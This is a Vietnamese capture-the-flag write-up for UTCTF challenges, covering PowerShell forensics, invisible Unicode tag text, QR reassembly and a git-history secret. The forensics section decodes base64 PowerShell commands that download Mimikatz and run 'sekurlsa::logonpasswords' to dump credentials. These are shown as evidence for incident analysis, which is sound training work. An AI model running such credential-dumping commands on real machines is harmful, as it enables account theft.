`Modified_KAPE_Triage_Files.zip` — KAPE triage của máy bị xâm nhập --- ### Giải #### Bước 1 — Giải nén và khám phá KAPE triage KAPE (Kroll Artifact Parser and Extractor) thu thập các forensic artifact từ Windows. Sau khi giải nén triage, thấy có 3 user profile trên máy bị xâm nhập: `Administrator`, `jon`, `robb`. Artifact quan trọng nhất cần kiểm tra đầu tiên là **PowerShell command history**, lưu tại: ``` C:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt ``` Chạy lệnh sau để tìm tất cả file history trong triage: ```powershell $triage = ".\triage\Modified_KAPE_Triage_Files" Get-ChildItem -Path $triage -Recurse -Filter "ConsoleHost_history.txt" | ForEach-Object { Write-Host $_.FullName; Get-Content $_.FullName } ``` --- #### Bước 2 — Phân tích PowerShell history của user `jon` File history của user `jon` chứa loạt lệnh đáng ngờ dùng flag `-e` (EncodedCommand): ``` powershell -nop -e dwBoAG8AYQBtAGkAIAAvAGEAbABsAA== powershell -nop -e YwBkACAARABvAHcAbgBsAG8AYQBkAHMA ls cd Downloads powershell -e dwBnAGUAdAAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AZwBlAG4AdABpAGwAawBpAHcAaQAvAG0AaQBtAGkAawBhAHQAegAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvADIALgAyAC4AMAAtADIAMAAyADIAMAA5ADEAOQAvAG0AaQBtAGkAawBhAHQAegBfAHQAcgB1AG4AawAuAHoAaQBwAA== powershell -e dwBnAGUAdAAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AZwBlAG4AdABpAGwAawBpAHcAaQAvAG0AaQBtAGkAawBhAHQAegAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvADIALgAyAC4AMAAtADIAMAAyADIAMAA5ADEAOQAvAG0AaQBtAGkAawBhAHQAegBfAHQAcgB1AG4AawAuAHoAaQBwACAALQBPACAAbQBpAG0AaQBrAGEAdAB6AC4AegBpAHAA ls powershell -nop -e RQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAAbQBpAG0AaQBrAGEAdAB6AC4AegBpAHAA ls powershell -nop -e QwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AXABEAG8AdwBuAGwAbwBhAGQAcwBcAG0AaQBtAGkAawBhAHQAegBcAHgANgA0AFwAbQBpAG0AaQBrAGEAdAB6AC4AZQB4AGUAIAAiAHAAcgBpAHYAaQBsAGUAZwBlADoAOgBkAGUAYgB1AGcAIgAgACIAcwBlAGsAdQByAGwAcwBhADoAOgBsAG8AZwBvAG4AcABhAHMAcwB3AG8AcgBkAHMAIgAgACIAZQB4AGkAdAAiAA== ``` PowerShell dùng **Base64 + UTF-16LE** cho EncodedCommand. Decode từng lệnh: ```python import base64 cmds = [ "dwBoAG8AYQBtAGkAIAAvAGEAbABsAA==", "YwBkACAARABvAHcAbgBsAG8AYQBkAHMA", "dwBnAGUAdAAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AZwBlAG4AdABpAGwAawBpAHcAaQAvAG0AaQBtAGkAawBhAHQAegAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvADIALgAyAC4AMAAtADIAMAAyADIAMAA5ADEAOQAvAG0AaQBtAGkAawBhAHQAegBfAHQAcgB1AG4AawAuAHoAaQBwAA==", "dwBnAGUAdAAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AZwBlAG4AdABpAGwAawBpAHcAaQAvAG0AaQBtAGkAawBhAHQAegAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvADIALgAyAC4AMAAtADIAMAAyADIAMAA5ADEAOQAvAG0AaQBtAGkAawBhAHQAegBfAHQAcgB1AG4AawAuAHoAaQBwACAALQBPACAAbQBpAG0AaQBrAGEAdAB6AC4AegBpAHAA", "RQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAAbQBpAG0AaQBrAGEAdAB6AC4AegBpAHAA", "QwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AXABEAG8AdwBuAGwAbwBhAGQAcwBcAG0AaQBtAGkAawBhAHQAegBcAHgANgA0AFwAbQBpAG0AaQBrAGEAdAB6AC4AZQB4AGUAIAAiAHAAcgBpAHYAaQBsAGUAZwBlADoAOgBkAGUAYgB1AGcAIgAgACIAcwBlAGsAdQByAGwAcwBhADoAOgBsAG8AZwBvAG4AcABhAHMAcwB3AG8AcgBkAHMAIgAgACIAZQB4AGkAdAAiAA==", ] for c in cmds: print(base64.b64decode(c).decode('utf-16-le')) ``` Kết quả decode: | # | Decoded Command | |---|----------------| | 1 | `whoami /all` | | 2 | `cd Downloads` | | 3 | `wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip` | | 4 | `wget https://...mimikatz_trunk.zip -O mimikatz.zip` | | 5 | `Expand-Archive mimikatz.zip` | | 6 ★ | `C:\Users\jon\Downloads\mimikatz\x64\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"` | **Command số 6** là lệnh thu thập credentials — chạy **Mimikatz** để dump toàn bộ mật khẩu và NTLM hash từ LSASS memory. --- #### Bước 3 — Tính password và mở zip Theo hint, password = **MD5 của phần encoded** (chuỗi base64 sau flag `-e` trong command 6): ```python import base64, hashlib, zipfile encoded = "QwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AXABEAG8AdwBuAGwAbwBhAGQAcwBcAG0AaQBtAGkAawBhAHQAegBcAHgANgA0AFwAbQBpAG0AaQBrAGEAdAB6AC4AZQB4AGUAIAAiAHAAcgBpAHYAaQBsAGUAZwBlADoAOgBkAGUAYgB1AGcAIgAgACIAcwBlAGsAdQByAGwAcwBhADoAOgBsAG8AZwBvAG4AcABhAHMAcwB3AG8AcgBkAHMAIgAgACIAZQB4AGkAdAAiAA==" # Verify decoded command decoded = base64.b64decode(encoded).decode('utf-16-le') print(decoded) # C:\Users\jon\Downloads\mimikatz\x64\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" # Tính MD5 của encoded portion password = hashlib.md5(encoded.encode()).hexdigest() print("ZIP password:", password) # 00c8e4a884db2d90b47a4c64f3aec1a4 # Mở zip và đọc flag with zipfile.ZipFile('checkpointA.zip') as zf: flag = zf.read('flag.txt', pwd=password.encode()) print(flag.decode()) ``` Output: ``` ZIP password: 00c8e4a884db2d90b47a4c64f3aec1a4 utflag{4774ck3r5_h4v3_m4d3_l4ndf4ll} ``` --- ### Flag :::success Flag: utflag{4774ck3r5_h4v3_m4d3_l4ndf4ll} ::: --- ## Hidden 󠁵󠁴󠁦󠁬󠁡󠁧󠁻󠀱󠁮󠁶󠀱󠁳󠀱󠁢󠁬󠀳󠁟󠁵󠁮󠀱󠁣󠀰󠁤󠀳󠁽in Plain Sight [dvy4nhh] ![image](https://hackmd.io/_uploads/BkQe8BWqZg.png) > We've heard tell of a hidden message that's been placed somewhere nearby. Can you find it? Không có file đính kèm. Chỉ có trang web CTF. --- ### Phân tích Tên challenge "Hidden in Plain Sight" gợi ý thông tin ẩn ngay trước mắt. Nhìn kỹ vào URL của challenge: ``` https://utctf.live/challenges#Hidden%20%F3%A0%81%B5%F3%A0%81%B4%F3%A0%81%A6%F3%A0%81%AC%F3%A0%81%A1%F3%A0%81%A7%F3%A0%81%BB%F3%A0%80%B1%F3%A0%81%AE%F3%A0%81%B6%F3%A0%80%B1%F3%A0%81%B3%F3%A0%80%B1%F3%A0%81%A2%F3%A0%81%AC%F3%A0%80%B3%F3%A0%81%9F%F3%A0%81%B5%F3%A0%81%AE%F3%A0%80%B1%F3%A0%81%A3%F3%A0%80%B0%F3%A0%81%A4%F3%A0%80%B3%F3%A0%81%BDin%20Plain%20Sight-25 ``` Các byte `%F3%A0%81%xx` decode ra các codepoint **U+E0000–U+E007F** — đây là **Unicode Tag Characters**: hoàn toàn vô hình khi hiển thị, nhưng vẫn tồn tại trong chuỗi. Cách hoạt động: mỗi tag character = ký tự ASCII tương ứng + `0xE0000`. Ví dụ `U+E0075` → `u`, `U+E0074` → `t`, `U+E007B` → `{`. --- ### Giải ```python from urllib.parse import unquote url = "Hidden%20%F3%A0%81%B5%F3%A0%81%B4%F3%A0%81%A6%F3%A0%81%AC%F3%A0%81%A1%F3%A0%81%A7%F3%A0%81%BB%F3%A0%80%B1%F3%A0%81%AE%F3%A0%81%B6%F3%A0%80%B1%F3%A0%81%B3%F3%A0%80%B1%F3%A0%81%A2%F3%A0%81%AC%F3%A0%80%B3%F3%A0%81%9F%F3%A0%81%B5%F3%A0%81%AE%F3%A0%80%B1%F3%A0%81%A3%F3%A0%80%B0%F3%A0%81%A4%F3%A0%80%B3%F3%A0%81%BDin%20Plain%20Sight-25" decoded = unquote(url) hidden = "" for c in decoded: cp = ord(c) if 0xE0000 <= cp <= 0xE007F: hidden += chr(cp - 0xE0000) print(hidden) # utflag{1nv1s1bl3_un1c0d3} ``` --- ### Flag :::success Flag: utflag{1nv1s1bl3_un1c0d3} ::: --- ## QRecreate [dvy4nhh] ![image](https://hackmd.io/_uploads/BkNP8r-cZe.png) > *"I managed to bypass the IPS to exfiltrate the secrets you wanted from the target's intranet. I just hope you remember the encoding structure we agreed on."* — Emmett (@emdawg25) File đính kèm: `TaxReports2008.zip` Hint quan trọng: **"encoding structure we agreed on"** → dữ liệu được mã hóa nhiều tầng. --- ### Phân tích #### Bước 1: Giải nén và quan sát cấu trúc ```bash unzip TaxReports2008.zip ``` Thu được 100 thư mục, tên mỗi thư mục là một chuỗi lạ (`MDAx`, `MDA0`, `MTAw`...), bên trong mỗi thư mục có một file `data/img.png` kích thước **74x74px**. #### Bước 2: Decode tên thư mục Nhận ra tên thư mục là **base64** của số thứ tự: ```bash $ echo 'MDAx' | base64 -d 001 $ echo 'MTAw' | base64 -d 100 ``` → 100 thư mục tương ứng số 001–100, đây là thứ tự ghép ảnh. #### Bước 3: Ghép 100 ảnh thành QR code 100 ảnh 74×74px → grid **10×10** → QR code **740×740px**: ```python from PIL import Image import os, base64 dirs = os.listdir('output') numbered = [(int(base64.b64decode(d).decode()), d) for d in dirs] numbered.sort() tile_size = 74 result = Image.new('RGB', (740, 740)) for idx, (num, d) in enumerate(numbered): tile = Image.open(f'output/{d}/data/img.png') row, col = idx // 10, idx % 10 result.paste(tile, (col * tile_size, row * tile_size)) result.save('assembled.png') ``` ### Bước 4: Quét QR code ```python from pyzbar.pyzbar import decode from PIL import Image result = decode(Image.open('assembled.png')) print(result[0].data.decode()) ``` QR code chứa đoạn văn **Lorem Ipsum** dài, nhưng ẩn trong đó có một chuỗi base64: ``` ...Pellentesque a mi dXRmbGFne3MzY3IzdHNfQHJlX0Bsd0B5c193MXRoMW5fczNjcjN0c30= elit viverra interdum... ``` #### Bước 5: Decode base64 lần cuối ```bash $ echo 'dXRmbGFne3MzY3IzdHNfQHJlX0Bsd0B5c193MXRoMW5fczNjcjN0c30=' | base64 -d utflag{s3cr3ts_@re_@lw@ys_w1th1n_s3cr3ts} ``` --- ### Flag :::success Flag: utflag{s3cr3ts_@re_@lw@ys_w1th1n_s3cr3ts} ::: --- ## Breadcrumbs [dvy4nhh] ![image](https://hackmd.io/_uploads/S1r5DrZ5bx.png) > We're planning on deploying some new static sites for our officers. We've cloned a template from Hugo's Static Site Generator (SSG). Can you make sure that our website is clean before it's deployed? --- ### Giải #### Bước 1: Clone repo ```bash git clone https://github.com/Jarpiano/utctf-profile cd utctf-profile ``` #### Bước 2: Xem git log ```bash git log --oneline ``` Phát hiện commit đáng ngờ: ``` a1546af added key file to integrate with AWS ``` #### Bước 3: Xem nội dung commit ```bash git show a1546af ``` Kết quả: ``` commit a1546afedb6edeffa9227d70b1f5e110bda9f7e6 Author: Jarpiano <barcousticjp@gmail.com> Date: Thu Mar 12 10:33:12 2026 -0500 added key file to integrate with AWS diff --git a/static/fonts/secret-keys/AWS-key.txt b/static/fonts/secret-keys/AWS-key.txt new file mode 100644 index 0000000..9f7449f --- /dev/null +++ b/static/fonts/secret-keys/AWS-key.txt @@ -0,0 +1 @@ +utflag{n07h1n6_70_h1d3} ``` --- ### Flag :::success Flag: utflag{n07h1n6_70_h1d3} ::: ---

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Google Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully